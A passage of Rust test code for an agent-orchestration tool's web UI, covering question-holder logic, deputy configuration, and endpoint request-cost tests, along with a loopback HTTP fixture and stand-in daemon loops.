7966        let fresh = beat(ask::WaiterKind::Asker, 1);
7967        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7968        let daemon = beat(ask::WaiterKind::Daemon, 1);
7969        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7970        let stale = beat(ask::WaiterKind::Asker, 3600);
7971        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7972
7973        // A conductor question says "deputy" only while one is attached and
7974        // alive, and "nobody" - never silence - when nothing ever listened.
7975        let mut c = Question::new(
7976            "task".to_owned(),
7977            crate::conduct::NODE.to_owned(),
7978            "conduct".to_owned(),
7979            "which?".to_owned(),
7980            String::new(),
7981            Vec::new(),
7982        );
7983        assert_eq!(holder_of(&c, None), Some("nobody"));
7984        c.cwd = Some("/tmp".to_owned());
7985        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7986        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7987        let deputy = beat(ask::WaiterKind::Deputy, 1);
7988        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7989        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7990
7991        // A release-watch question: nobody until a deputy is attached.
7992        let mut r = Question::new(
7993            String::new(),
7994            crate::bump::NOTICE_NODE.to_owned(),
7995            "release-watch".to_owned(),
7996            "stuck?".to_owned(),
7997            String::new(),
7998            vec!["hold".to_owned()],
7999        );
8000        assert_eq!(holder_of(&r, None), Some("nobody"));
8001        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8002        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8003        // A choice-less bump notice is nobody's question at all.
8004        r.deputy = None;
8005        r.seat = "bump".to_owned();
8006        assert_eq!(holder_of(&r, None), None);
8007
8008        // A merge approval is the same: nobody until a deputy is attached
8009        // and alive, never a silent "no holder".
8010        let mut m = Question::new(
8011            "run".to_owned(),
8012            crate::land::APPROVAL_NODE.to_owned(),
8013            "land".to_owned(),
8014            "merge?".to_owned(),
8015            String::new(),
8016            Vec::new(),
8017        );
8018        assert_eq!(holder_of(&m, None), Some("nobody"));
8019        assert_eq!(
8020            holder_of(&m, Some(&fresh)),
8021            Some("nobody"),
8022            "a lease with no deputy is not a listener"
8023        );
8024        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8025        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8026        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8027        assert_eq!(holder_of(&m, None), Some("nobody"));
8028    }
8029
8030    fn stub_config() -> Config {
8031        // An explicit roster, so the result never depends on which agent CLIs
8032        // this machine has installed.
8033        Config {
8034            agents: vec![crate::config::AgentSpec {
8035                id: "stub".to_owned(),
8036                kind: AgentKind::Command,
8037                model: None,
8038                command: vec!["true".to_owned()],
8039                extra_args: Vec::new(),
8040                env: Default::default(),
8041                prompt_delivery: None,
8042            }],
8043            ..Config::default()
8044        }
8045    }
8046
8047    fn plain_question(seat: &str) -> Question {
8048        Question::new(
8049            String::new(),
8050            "n".to_owned(),
8051            seat.to_owned(),
8052            "s".to_owned(),
8053            String::new(),
8054            Vec::new(),
8055        )
8056    }
8057
8058    #[test]
8059    fn deputies_enabled_follows_the_config() {
8060        let on = stub_config();
8061        assert!(crate::deputy::can_start(Some(&on), ""));
8062        assert!(crate::deputy::can_start(Some(&on), "stub"));
8063        let mut off = on.clone();
8064        off.daemon.max_deputies = 0;
8065        assert!(!crate::deputy::can_start(Some(&off), ""));
8066        let mut empty = on;
8067        empty.agents.clear();
8068        assert!(!crate::deputy::can_start(Some(&empty), ""));
8069        assert!(!crate::deputy::can_start(None, ""));
8070    }
8071
8072    #[test]
8073    fn question_views_load_the_config_once() {
8074        let dir = TempDir::new().unwrap();
8075        let store = ask::Questions::at(dir.path().to_path_buf());
8076        let mut with_deputy = plain_question("b");
8077        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8078        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8079
8080        let calls = std::cell::Cell::new(0usize);
8081        let views = question_views(qs.clone(), &store, || {
8082            calls.set(calls.get() + 1);
8083            Some(stub_config())
8084        });
8085        assert_eq!(calls.get(), 1);
8086        assert_eq!(views.len(), 3);
8087        for (v, q) in views.iter().zip(&qs) {
8088            assert_eq!(
8089                v.deputies_enabled,
8090                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8091            );
8092        }
8093
8094        let views = question_views(qs, &store, || None);
8095        assert!(views.iter().all(|v| !v.deputies_enabled));
8096
8097        let calls = std::cell::Cell::new(0usize);
8098        let views = question_views(Vec::new(), &store, || {
8099            calls.set(calls.get() + 1);
8100            None
8101        });
8102        assert!(views.is_empty());
8103        assert_eq!(calls.get(), 0);
8104    }
8105
8106    use pretty_assertions::assert_eq;
8107    use serde_json::Value;
8108    use tempfile::TempDir;
8109    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8110
8111    use super::*;
8112    use crate::config::Config;
8113    use crate::queue::Source;
8114
8115    /// How many 10ms steps a settle loop takes before it calls a stall a
8116    /// stall - thirty seconds.
8117    ///
8118    /// These loops wait on real `sh` subprocesses, and the machine that runs
8119    /// the gate runs several suites at once, so a two-second budget was not
8120    /// waiting for the reply, it was racing the scheduler: two of these
8121    /// tests failed under that load with the turn simply not landed yet.
8122    /// This is a hang guard, not a latency assertion - every loop breaks the
8123    /// moment its condition holds, so a generous cap costs an idle machine
8124    /// nothing and still fails a genuine hang instead of hanging the suite.
8125    const SETTLE_STEPS: usize = 3_000;
8126
8127    /// A home with a queue and a runs directory, and a router serving it on
8128    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
8129    /// dependency, not ours - so the tests drive a real socket, which has the
8130    /// side benefit of asserting the status line and content types the phone
8131    /// actually receives.
8132    struct Fixture {
8133        home: TempDir,
8134        addr: SocketAddr,
8135    }
8136
8137    impl Fixture {
8138        async fn start() -> Self {
8139            Self::with_loop(launch_idle).await
8140        }
8141
8142        /// A fixture whose loop is `launch`.
8143        async fn with_loop(launch: Launch) -> Self {
8144            let home = TempDir::new().expect("temp home");
8145            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8146            Self { home, addr }
8147        }
8148
8149        /// A fixture whose `ui.repo` is a real directory rather than the
8150        /// usual placeholder - for the routes that read config off it
8151        /// (`GET /api/repos`) and would otherwise have nothing to discover.
8152        async fn with_repo(repo: PathBuf) -> Self {
8153            let home = TempDir::new().expect("temp home");
8154            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8155            Self { home, addr }
8156        }
8157
8158        /// As [`Fixture::with_repo`], with the machine-config file the
8159        /// settings screen reads and writes.
8160        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8161            let home = TempDir::new().expect("temp home");
8162            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8163            Self { home, addr }
8164        }
8165
8166        async fn serve(
8167            home: &FsPath,
8168            repo: PathBuf,
8169            launch: Launch,
8170            machine: Option<PathBuf>,
8171        ) -> SocketAddr {
8172            let queue = Queue::at(home.join("queue"));
8173            let runs = home.join("runs");
8174            std::fs::create_dir_all(&runs).expect("runs dir");
8175            let worktrees = home.join("wt").join("magi");
8176            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8177            let ui = Ui::new(
8178                queue,
8179                Questions::at(home.join("questions")),
8180                Talks::at(home.join("talks")),
8181                runs,
8182                home.to_path_buf(),
8183                repo,
8184            )
8185            .with_worktrees_root(worktrees)
8186            .with_machine_config(machine)
8187            .with_launch(launch);
8188            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8189                .await
8190                .expect("bind loopback");
8191            let addr = listener.local_addr().expect("local addr");
8192            tokio::spawn(async move {
8193                let router = ui
8194                    .router()
8195                    .layer(axum::middleware::from_fn(request_cost::observe));
8196                let _ = axum::serve(listener, router).await;
8197            });
8198            addr
8199        }
8200
8201        fn queue(&self) -> Queue {
8202            Queue::at(self.home.path().join("queue"))
8203        }
8204
8205        fn questions(&self) -> Questions {
8206            Questions::at(self.home.path().join("questions"))
8207        }
8208
8209        fn talks(&self) -> Talks {
8210            Talks::at(self.home.path().join("talks"))
8211        }
8212
8213        fn runs(&self) -> PathBuf {
8214            self.home.path().join("runs")
8215        }
8216
8217        async fn get(&self, path: &str) -> Res {
8218            request(self.addr, "GET", path, None).await
8219        }
8220
8221        /// The status and headers without the body, which is how the front end
8222        /// preflights a panel: a sandboxed frame is opaque to the parent
8223        /// document, so the only way to tell "no panel" from "a panel that
8224        /// rendered blank" is to ask before mounting.
8225        async fn head(&self, path: &str) -> Res {
8226            request(self.addr, "HEAD", path, None).await
8227        }
8228
8229        async fn post(&self, path: &str, body: Option<&str>) -> Res {
8230            request(self.addr, "POST", path, body).await
8231        }
8232
8233        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8234            request_with(self.addr, "GET", path, None, extra).await
8235        }
8236
8237        async fn delete(&self, path: &str) -> Res {
8238            request(self.addr, "DELETE", path, None).await
8239        }
8240
8241        async fn put(&self, path: &str, body: &str) -> Res {
8242            request(self.addr, "PUT", path, Some(body)).await
8243        }
8244
8245        /// `POST` a raw body with its own headers - see [`request_bytes`].
8246        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8247            request_bytes(self.addr, path, headers, body).await
8248        }
8249    }
8250
8251    /// Real tracking refs exercise the successful discovery path (including
8252    /// extraction), rather than counting cheap failures on a placeholder repo.
8253    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8254        let tmp = TempDir::new().unwrap();
8255        let mut repos = Vec::new();
8256        for name in ["one", "two"] {
8257            let repo = tmp.path().join(name);
8258            let origin = tmp.path().join(format!("{name}.git"));
8259            std::fs::create_dir_all(&repo).unwrap();
8260            crate::git::git(&repo, &["init", "-b", "main"])
8261                .await
8262                .unwrap();
8263            std::fs::write(
8264                repo.join("magi.toml"),
8265                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8266            )
8267            .unwrap();
8268            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8269            crate::git::git(
8270                &repo,
8271                &[
8272                    "-c",
8273                    "user.name=fixture",
8274                    "-c",
8275                    "user.email=fixture@example.invalid",
8276                    "commit",
8277                    "-m",
8278                    "fixture",
8279                ],
8280            )
8281            .await
8282            .unwrap();
8283            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8284                .await
8285                .unwrap();
8286            crate::git::git(
8287                &repo,
8288                &["remote", "add", "origin", origin.to_str().unwrap()],
8289            )
8290            .await
8291            .unwrap();
8292            crate::git::git(&repo, &["push", "origin", "main"])
8293                .await
8294                .unwrap();
8295            crate::git::git(
8296                &repo,
8297                &[
8298                    "symbolic-ref",
8299                    "refs/remotes/origin/HEAD",
8300                    "refs/remotes/origin/main",
8301                ],
8302            )
8303            .await
8304            .unwrap();
8305            let (cfg, _) = Config::discover(&repo, None).unwrap();
8306            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8307            repos.push(repo);
8308        }
8309        let repos: [PathBuf; 2] = repos.try_into().unwrap();
8310        (tmp, repos)
8311    }
8312
8313    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8314        let (tmp, repos) = performance_repositories().await;
8315        let machine = tmp.path().join("machine.toml");
8316        std::fs::write(&machine, "").unwrap();
8317        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8318        (tmp, repos, fx)
8319    }
8320
8321    fn seed_performance(
8322        fx: &Fixture,
8323        repos: &[PathBuf; 2],
8324        questions: usize,
8325        runs: usize,
8326        items: usize,
8327    ) {
8328        // Saving states directly never starts a run or changes MAGI_HOME.
8329        for i in fx.questions().list().len()..questions {
8330            let mut question = Question::new(
8331                "20261001-000000-0000".into(),
8332                "implement".into(),
8333                "impl-A".into(),
8334                format!("question {i}"),
8335                "context".into(),
8336                vec!["yes".into(), "no".into()],
8337            );
8338            question.id = format!("20261003-000000-{i:04x}");
8339            fx.questions().put(&mut question).unwrap();
8340        }
8341        for i in run_ids(&fx.runs()).len()..runs {
8342            write_run_repo(
8343                &fx.runs(),
8344                &format!("20261001-000000-{i:04x}"),
8345                RunStatus::Ready,
8346                repos[i % 2].to_str().unwrap(),
8347            );
8348        }
8349        for i in fx.talks().list().len()..items {
8350            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8351            let mut talk = fx.talks().get(&id).unwrap();
8352            talk.repo = repos[i % 2].clone();
8353            fx.talks().put(&mut talk).unwrap();
8354            let mut task = crate::queue::Task::new(
8355                format!("task {i}"),
8356                "instruction".into(),
8357                repos[i % 2].clone(),
8358                crate::queue::Source::Agent {
8359                    run: id,
8360                    node: crate::queue::CHAT_NODE.into(),
8361                },
8362            );
8363            task.id = format!("20261004-000000-{i:04x}");
8364            fx.queue().put(&mut task).unwrap();
8365            // Notices has a production retention cap; seed up to that cap.
8366            if i < crate::notices::CAP {
8367                Notices::at(fx.home.path().join("notifications"))
8368                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
8369                    .unwrap();
8370            }
8371        }
8372        assert_eq!(fx.questions().list().len(), questions);
8373        assert_eq!(run_ids(&fx.runs()).len(), runs);
8374        assert_eq!(fx.talks().list().len(), items);
8375        assert_eq!(fx.queue().list().len(), items);
8376        assert_eq!(
8377            Notices::at(fx.home.path().join("notifications"))
8378                .list()
8379                .len(),
8380            items.min(crate::notices::CAP)
8381        );
8382    }
8383
8384    fn request_counts(res: &Res) -> (usize, usize) {
8385        assert_eq!(res.status, 200, "{}", res.body);
8386        (
8387            res.header("x-test-discoveries").unwrap().parse().unwrap(),
8388            res.header("x-test-git").unwrap().parse().unwrap(),
8389        )
8390    }
8391
8392    #[tokio::test]
8393    async fn list_request_cost_is_independent_of_record_count() {
8394        let (_tmp, repos, fx) = performance_fixture().await;
8395        let mut previous = None;
8396        for n in [4, 60] {
8397            seed_performance(&fx, &repos, n, n, n);
8398            let mut costs = Vec::new();
8399            for (path, discoveries) in [
8400                ("/api/questions", 1),
8401                ("/api/talks", 2),
8402                ("/api/health", 1),
8403                ("/api/stats", 1),
8404            ] {
8405                // Equal cold extraction caches at both scales; this also
8406                // bounds first-request cost instead of only warmed requests.
8407                for repo in &repos {
8408                    let cache = repo.join(".git/magi/config");
8409                    if cache.exists() {
8410                        std::fs::remove_dir_all(cache).unwrap();
8411                    }
8412                }
8413                let cost = request_counts(&fx.get(path).await);
8414                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8415                assert_eq!(cost.0, discoveries, "{path}, N={n}");
8416                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8417                costs.push(cost);
8418            }
8419            if let Some(previous) = previous {
8420                assert_eq!(costs, previous);
8421            }
8422            previous = Some(costs);
8423        }
8424        // runs reads shared row inputs and probes process liveness; queue
8425        // builds one blocker inventory; notifications reads its own store.
8426        // None discovers configuration or spawns git per item.
8427    }
8428
8429    /// The same handler path without transport, so the deterministic cause
8430    /// can also be checked in environments that prohibit binding sockets.
8431    #[tokio::test]
8432    async fn list_handler_cost_without_transport() {
8433        let (_tmp, repos) = performance_repositories().await;
8434        let fx = Fixture {
8435            home: TempDir::new().unwrap(),
8436            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8437        };
8438        let ui = Arc::new(
8439            Ui::new(
8440                fx.queue(),
8441                fx.questions(),
8442                fx.talks(),
8443                fx.runs(),
8444                fx.home.path().to_path_buf(),
8445                repos[0].clone(),
8446            )
8447            .with_worktrees_root(fx.home.path().join("wt")),
8448        );
8449        let mut previous = None;
8450        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8451            seed_performance(&fx, &repos, n, runs, items);
8452            let mut costs = Vec::new();
8453            for endpoint in ["questions", "talks", "health", "stats"] {
8454                for repo in &repos {
8455                    let cache = repo.join(".git/magi/config");
8456                    if cache.exists() {
8457                        std::fs::remove_dir_all(cache).unwrap();
8458                    }
8459                }
8460                let (_, cost) = request_cost::measure(async {
8461                    match endpoint {
8462                        "questions" => {
8463                            let _ = questions_list(State(ui.clone())).await.unwrap();
8464                        }
8465                        "talks" => {
8466                            let _ = talks_list(
8467                                State(ui.clone()),
8468                                Query(ListQuery {
8469                                    limit: None,
8470                                    ids: None,
8471                                }),
8472                            )
8473                            .await
8474                            .unwrap();
8475                        }
8476                        "health" => {
8477                            let _ = health(State(ui.clone())).await.unwrap();
8478                        }
8479                        _ => {
8480                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8481                                .await
8482                                .unwrap();
8483                        }
8484                    }
8485                })
8486                .await;
8487                eprintln!("{endpoint} handler N={n}: {cost:?}");
8488                assert_eq!(
8489                    cost.0,
8490                    if endpoint == "talks" { 2 } else { 1 },
8491                    "{endpoint}"
8492                );
8493                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8494                costs.push(cost);
8495            }
8496            if let Some(previous) = previous {
8497                assert_eq!(costs, previous);
8498            }
8499            previous = Some(costs);
8500        }
8501    }
8502
8503    #[tokio::test]
8504    async fn list_request_cost_scopes_do_not_mix() {
8505        let (_tmp, repos, fx) = performance_fixture().await;
8506        seed_performance(&fx, &repos, 10, 0, 10);
8507        let (questions, talks, notices) = tokio::join!(
8508            fx.get("/api/questions"),
8509            fx.get("/api/talks"),
8510            fx.get("/api/notifications")
8511        );
8512        assert_eq!(request_counts(&questions).0, 1);
8513        assert_eq!(request_counts(&talks).0, 2);
8514        assert_eq!(request_counts(&notices), (0, 0));
8515    }
8516
8517    #[tokio::test]
8518    async fn list_endpoints_large_home_ceiling() {
8519        let (_tmp, repos, fx) = performance_fixture().await;
8520        seed_performance(&fx, &repos, 200, 300, 400);
8521        let mut failures = Vec::new();
8522        // app.js boot/change loads plus the initial dashboard, settings and
8523        // repo picker. SSE is a persistent stream, not a bounded GET.
8524        for path in [
8525            "/",
8526            "/app.js",
8527            "/app.css",
8528            "/api/questions",
8529            "/api/runs?limit=300",
8530            "/api/queue",
8531            "/api/talks",
8532            "/api/notifications",
8533            "/api/health",
8534            "/api/stats",
8535            "/api/loop",
8536            "/api/settings",
8537            "/api/repos",
8538        ] {
8539            let start = std::time::Instant::now();
8540            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8541            let elapsed = start.elapsed();
8542            eprintln!("{path}: {elapsed:?}");
8543            match result {
8544                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8545                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8546                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8547            }
8548        }
8549        assert!(failures.is_empty(), "{}", failures.join("\n"));
8550    }
8551
8552    struct Res {
8553        status: u16,
8554        headers: String,
8555        /// The header block with its original casing, for the assertions that
8556        /// compare a header *value* rather than looking for a name. Lowercasing
8557        /// a CSP would hide a directive spelled with a capital letter, and the
8558        /// whole point of that test is that the string is exactly right.
8559        head: String,
8560        body: String,
8561        /// The body before any UTF-8 handling, for the routes that serve
8562        /// something other than text. A panel asset is a PNG as often as not,
8563        /// and `from_utf8_lossy` would silently replace half of it.
8564        bytes: Vec<u8>,
8565    }
8566
8567    impl Res {
8568        fn json(&self) -> Value {
8569            serde_json::from_str(&self.body)
8570                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8571        }
8572
8573        /// One header's value verbatim, or `None` when it was not sent.
8574        fn header(&self, name: &str) -> Option<&str> {
8575            self.head.lines().find_map(|line| {
8576                let (key, value) = line.split_once(':')?;
8577                key.trim()
8578                    .eq_ignore_ascii_case(name)
8579                    .then(|| value.trim_start().trim_end_matches('\r'))
8580            })
8581        }
8582    }
8583
8584    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
8585    /// be read to end-of-stream without parsing framing.
8586    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8587        request_with(addr, method, path, body, &[]).await
8588    }
8589
8590    /// As [`request`], with extra request headers - conditional GETs need
8591    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
8592    /// worse than one that sets none.
8593    async fn request_with(
8594        addr: SocketAddr,
8595        method: &str,
8596        path: &str,
8597        body: Option<&str>,
8598        extra: &[(&str, &str)],
8599    ) -> Res {
8600        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8601        for (name, value) in extra {
8602            head.push_str(&format!("{name}: {value}\r\n"));
8603        }
8604        if let Some(body) = body {
8605            head.push_str("Content-Type: application/json\r\n");
8606            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8607        }
8608        head.push_str("\r\n");
8609        if let Some(body) = body {
8610            head.push_str(body);
8611        }
8612        let mut socket = tokio::net::TcpStream::connect(addr)
8613            .await
8614            .expect("connect to the test server");
8615        socket
8616            .write_all(head.as_bytes())
8617            .await
8618            .expect("write request");
8619        let mut raw = Vec::new();
8620        socket.read_to_end(&mut raw).await.expect("read response");
8621        // Split on the raw bytes rather than on a lossy string, so a binary
8622        // body survives to be compared byte for byte.
8623        let split = raw
8624            .windows(4)
8625            .position(|w| w == b"\r\n\r\n")
8626            .expect("a header block");
8627        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8628        let bytes = raw[split + 4..].to_vec();
8629        let status = head
8630            .lines()
8631            .next()
8632            .and_then(|line| line.split_whitespace().nth(1))
8633            .and_then(|code| code.parse().ok())
8634            .expect("a status line");
8635        Res {
8636            status,
8637            headers: head.to_lowercase(),
8638            head,
8639            body: String::from_utf8_lossy(&bytes).into_owned(),
8640            bytes,
8641        }
8642    }
8643
8644    /// A `POST` carrying a raw binary body and its own headers, for the
8645    /// attachment upload route - `request_with` only ever sends
8646    /// `Content-Type: application/json`, which is wrong for an image and
8647    /// would corrupt anything not valid UTF-8 by round-tripping it through
8648    /// `&str` first.
8649    async fn request_bytes(
8650        addr: SocketAddr,
8651        path: &str,
8652        headers: &[(&str, &str)],
8653        body: &[u8],
8654    ) -> Res {
8655        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8656        for (name, value) in headers {
8657            head.push_str(&format!("{name}: {value}\r\n"));
8658        }
8659        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8660        let mut socket = tokio::net::TcpStream::connect(addr)
8661            .await
8662            .expect("connect to the test server");
8663        socket
8664            .write_all(head.as_bytes())
8665            .await
8666            .expect("write request head");
8667        socket.write_all(body).await.expect("write request body");
8668        let mut raw = Vec::new();
8669        socket.read_to_end(&mut raw).await.expect("read response");
8670        let split = raw
8671            .windows(4)
8672            .position(|w| w == b"\r\n\r\n")
8673            .expect("a header block");
8674        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8675        let bytes = raw[split + 4..].to_vec();
8676        let status = head
8677            .lines()
8678            .next()
8679            .and_then(|line| line.split_whitespace().nth(1))
8680            .and_then(|code| code.parse().ok())
8681            .expect("a status line");
8682        Res {
8683            status,
8684            headers: head.to_lowercase(),
8685            head,
8686            body: String::from_utf8_lossy(&bytes).into_owned(),
8687            bytes,
8688        }
8689    }
8690
8691    /// A run on disk, without touching the process-global magi home.
8692    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8693        let mut state = RunState::new(
8694            PathBuf::from("/repo/magi"),
8695            "main".to_owned(),
8696            "0123456789abcdef".to_owned(),
8697            "Add a web UI\n\nMobile first.".to_owned(),
8698            Config::default(),
8699        );
8700        state.id = id.to_owned();
8701        state.status = status;
8702        let dir = runs.join(id);
8703        std::fs::create_dir_all(&dir).expect("run dir");
8704        std::fs::write(
8705            dir.join("run.json"),
8706            serde_json::to_string_pretty(&state).expect("serialize run"),
8707        )
8708        .expect("write run.json");
8709    }
8710
8711    /// Same as [`write_run`], but against a named repository rather than the
8712    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
8713    /// spread across more than one.
8714    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8715        let mut state = RunState::new(
8716            PathBuf::from(repo),
8717            "main".to_owned(),
8718            "0123456789abcdef".to_owned(),
8719            "task".to_owned(),
8720            Config::default(),
8721        );
8722        state.id = id.to_owned();
8723        state.status = status;
8724        let dir = runs.join(id);
8725        std::fs::create_dir_all(&dir).expect("run dir");
8726        std::fs::write(
8727            dir.join("run.json"),
8728            serde_json::to_string_pretty(&state).expect("serialize run"),
8729        )
8730        .expect("write run.json");
8731    }
8732
8733    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8734        let body = serde_json::json!({
8735            "schema": 1,
8736            "pid": 4242,
8737            "started_at": Timestamp::now().to_string(),
8738            "updated_at": updated_at.to_string(),
8739            "idle": false,
8740            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8741            "completed": 7,
8742            "polls": 143,
8743        });
8744        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8745    }
8746
8747    /// A loop that starts, finds nothing to do, and waits to be told to stop.
8748    ///
8749    /// No test in this file may start the real loop - see [`Ui::launch`] for
8750    /// why - so this stands in for the only thing the routes need a loop to
8751    /// do: keep running until `Stop` is set, then return. A real
8752    /// `serve_until` here would resolve its queue and its status file through
8753    /// the process-global magi home, claim whatever it found in the
8754    /// operator's live backlog, overwrite the status file of the `magi serve`
8755    /// that owns it, and spend real agent quota on a real competition.
8756    fn launch_idle(
8757        _opts: daemon::Opts,
8758        stop: daemon::Stop,
8759    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8760        Box::pin(async move {
8761            while !stop.stopped() {
8762                tokio::time::sleep(Duration::from_millis(2)).await;
8763            }
8764            Ok(())
8765        })
8766    }
8767
8768    /// A loop that fails on the way up, the way one whose home has gone
8769    /// read-only does.
8770    fn launch_broken(
8771        _opts: daemon::Opts,
8772        _stop: daemon::Stop,
8773    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8774        // The stand-in dies instantly, so a restarted one can record its own
8775        // failure before the start's response is read. The second attempt
8776        // therefore fails with a different message, to tell a stale error
8777        // from a fresh one.
8778        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8779        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8780        Box::pin(async move {
8781            Err(anyhow::anyhow!(if first {
8782                "publish the daemon status file: read-only file system"
8783            } else {
8784                "the restarted stand-in failed as well"
8785            }))
8786        })
8787    }
8788
8789    /// The address the parking loop knocks on, and what it heard there.
8790    ///
8791    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
8792    /// capture a fixture's address; this is how it is handed one. Only
8793    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
8794    /// these, so nothing else in this binary can race them.
8795    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8796    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8797
8798    /// A loop that, once it is asked to stop, checks the deck still answers
8799    /// before it goes.
8800    ///
8801    /// It stands in for a run mid-node: `finish_loop` waits for this future,
8802    /// so the request it makes is strictly inside the park window - no sleep
8803    /// and no polling needed to be sure of that.
8804    fn launch_knocking_on_the_way_out(
8805        _opts: daemon::Opts,
8806        stop: daemon::Stop,
8807    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8808        Box::pin(async move {
8809            while !stop.stopped() {
8810                tokio::time::sleep(Duration::from_millis(2)).await;
8811            }
8812            let addr = PARK_KNOCK
8813                .lock()
8814                .expect("park knock")
8815                .expect("the test set an address");
8816            let heard = request(addr, "GET", "/api/health", None).await.status;
8817            *PARK_HEARD.lock().expect("park heard") = Some(heard);
8818            Ok(())
8819        })
8820    }
8821
8822    /// The loop view once `want` accepts it.
8823    ///
8824    /// Polled rather than asserted straight after the POST because stopping
8825    /// is deliberately not instant - that is the contract - and rather than
8826    /// slept through because a fixed wait is either flaky or slow.
8827    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
8828    /// finite, so a genuine hang fails the test instead of hanging the
8829    /// suite.
8830    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8831        for _ in 0..SETTLE_STEPS {
8832            let view = fx.get("/api/loop").await.json();
8833            if want(&view) {
8834                return view;
8835            }
8836            tokio::time::sleep(Duration::from_millis(10)).await;
8837        }
8838        panic!(
8839            "the loop never settled: {}",
8840            fx.get("/api/loop").await.json()
8841        );
8842    }
8843
8844    /// File an open question directly in the store the server reads.
8845    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8846        let store = fx.questions();
8847        let mut q = Question::new(
8848            "20260902-000000-beef".to_owned(),
8849            "implement".to_owned(),
8850            "impl-A".to_owned(),
8851            summary.to_owned(),
8852            "because it matters".to_owned(),
8853            choices.iter().map(|c| (*c).to_owned()).collect(),
8854        );
8855        store.put(&mut q).expect("put question");
8856        q.id
8857    }
8858
8859    /// A question with a panel the server can serve, plus the named assets.
8860    ///
8861    /// Written through `Questions::put_panel` rather than by laying out the
8862    /// directory here, so these tests exercise the same on-disk shape the
8863    /// agents produce and cannot pass against a layout only the tests know.
8864    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8865        let store = fx.questions();
8866        let mut q = Question::new(
8867            "20260902-000000-beef".to_owned(),
8868            "land".to_owned(),
8869            "fix".to_owned(),
8870            "Merge this?".to_owned(),
8871            "the diff is in the panel".to_owned(),
8872            vec!["merge".to_owned(), "hold".to_owned()],
8873        );
8874        // Staged outside the questions root, because `put_panel` copies from
8875        // wherever the agent left its files.
